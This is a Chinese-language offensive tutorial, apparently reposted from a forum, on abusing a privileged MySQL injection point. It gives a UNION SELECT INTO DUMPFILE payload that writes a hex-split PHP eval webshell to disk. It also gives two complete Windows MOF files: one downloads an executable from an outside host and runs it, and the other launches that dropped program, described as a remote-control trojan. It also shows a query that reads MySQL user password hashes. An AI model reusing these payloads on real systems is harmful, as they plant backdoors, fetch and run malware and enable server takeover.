技巧整合 - mysql注入点的另类利用

admin 2022年3月7日23:39:13评论73 views字数 3771阅读12分34秒阅读模式

from:http://bbs.ichunqiu.com/thread-9903-1-1.html?form=sec

前言:

渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合

简介:

如下

mysql注入点如果权限较高的话,再知道web物理目录说明这个站胜券在握。

可以直接 – – os-shell拿到交互的cmd和一个小马

然而上述对应下图的例子属于万分侥幸。

技巧整合 - mysql注入点的另类利用
如果不知道物理路径,我们还可以

select host,user,password from mysql.user;


读取root密码用navicat连上去提权,不要问我为什么不直接用–sql-shell,你自己试试便知道。

技巧整合 - mysql注入点的另类利用

然而读出来的是mysqlhash  ,破解不出来,便只能读网站admin数据进后台,就像:

技巧整合 - mysql注入点的另类利用

读出来admin数据还不一定能解出来密码

后台还不一定找得到

找到后台还不一定能传马

传了马还不一定能提权。。。

那么,问题来了,这个注入点还有价值么???这便是本文讨论的要点。

答案当然是有的。方法大家也许都用过只是没有综合使用:

Mysql导出文件条件

1 Root权限(其实并非root不可 ,具备insert权限即可)

2 可写目录(即使是system权限,用驱动限制也没法写)



我们不希望导出的数据因存在转义字符等问题而不完整,一般采用hexunhex编码之后再导出。

1  SELECT HEX(‘binghesec,test!’),查询的结果为:62696e6768657365632c7465737421


2  SELECTUNHEX(‘62696e6768657365632c7465737421’),查询的结果为:binghesec,test!


3  还可以直接读取16进制的字符,在字符串前加0x前导: SELECT 0x62696e6768657365632c7465737421,查询结果为:binghesec,test!


技巧整合 - mysql注入点的另类利用

众所周知在mysql注入点执行union联合查询需要和它本身的查询匹配字段数(一致),如某个数字型注入点有5个字段,一般是select 1,2,3,4,0x(文件hex)导出,文件头多个1234,如果导出的是php,文件可以正常使用,mofexe等就不行。若注入类型为字符等,可用万能的null来匹配,select null,null,null,null,0x(文件hex),文件头又多了4null,如何解决?

科普可知如果想导出完整原样的文件需要分段合成,例:

php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(‘5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;

如何拆分呢,且看:

如果通过order判断得知存在5个字段,那么便将一句话木马分成5份,那么如果是50个字段你可以把一句话分成50份,什么?一句话不到50?你就不能动动脑子么?

这样不是一句话么?

<?php @eval($_POST['1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111']);?>

技巧整合 - mysql注入点的另类利用

然后分别把5段进行hex加密

技巧整合 - mysql注入点的另类利用
一句话就变成了这几段

3c3f70687020
40
6576616c2824
5f504f5354
5b2762696e676865736563275d293b3f3e

把这每段前面加上0x或者用unhex函数还原,按次序放在注入语句的select后面执行即可

php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(‘5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;

听到这里不知道你有没有想打我的冲动,你特么讲了半天就讲了mysql导出一句话木马?还加密来加密去的?   额,你要这要想我就笑了,你可以直接select一句话木马内容到指定目录,您能select一个大马?一个mof? 况且我们在讨论不知道web物理路径的情况,乱写个一句话,那不叫shell。此法通用。接着看:

Mysql注入点种马的几种方法  

1 导出hta vbs bat exe等到启动项或开机会加载脚本的地方    此方法需要目标机器重启若无法让管理员重启将无效    服务器上存在杀软的话,导出可执行文件估计直接拦截         

2  计划任务(实战测试本地配的脚本丢到目标机完全无效)        

3 UDF提权 (有条件执行create等函数才能执行命令)    有时候注入点长度限制也不定能把整个udf导过去         

4 MOF提权(完美解决以上3种方法的缺陷,直接种马)


mof提权我想我不必多言

我们的淫荡思路便是:

•  1.拆分 ‘下载者mof’ 文件的代码为hex再合并导出

•  2.拆分运行exe的mof文件的代码为hex再合并导出

下载者mof文件如下:

#pragma namespace("\\.\root\subscription")
 
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
 
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "VBScript";
ScriptText ="Set Post = CreateObject("Msxml2.XMLHTTP")nSet Shell = CreateObject("Wscript.Shell")nPost.Open "GET","http://192.168.85.130/m.exe",0nPost.Send()nSet aGet = CreateObject("ADODB.Stream")naGet.Mode = 3naGet.Type = 1naGet.Open()naGet.Write(Post.responseBody)naGet.SaveToFile "C:\WINDOWS\Temp\ftp.exe",2nShell.Run ("C:\WINDOWS\Temp\binghesec.exe")";
};
 
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

下载好了还需要运行的mof

#pragma namespace("\\.\root\subscription")[/align][align=left]
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
 
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("c:\windows\temp\binghesec.exe")";
};
 
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

保存为mof文件用工具转换成16进制再用上述方法在注入点分割执行导出到系统mof目录就ok

参考上文说的mof提权,注意导出目录为C:WINDOWSsystem32wbemmof

如果mof没问题就会下载我们的远控木马到指定的目录

此只为一种利用方法。

总结:

仅是一个小思路,在权限较高且没有web目录、破解不出mysql的hash、破解不出后台数据或者找不到后台的情况下适用,至于导出的文件,可以是mof,当然也可以是lpk,当然还可以是。。。,自行利用。


本文始发于微信公众号(关注安全技术):技巧整合 - mysql注入点的另类利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月7日23:39:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技巧整合 - mysql注入点的另类利用http://cn-sec.com/archives/502141.html

发表评论

匿名网友 填写信息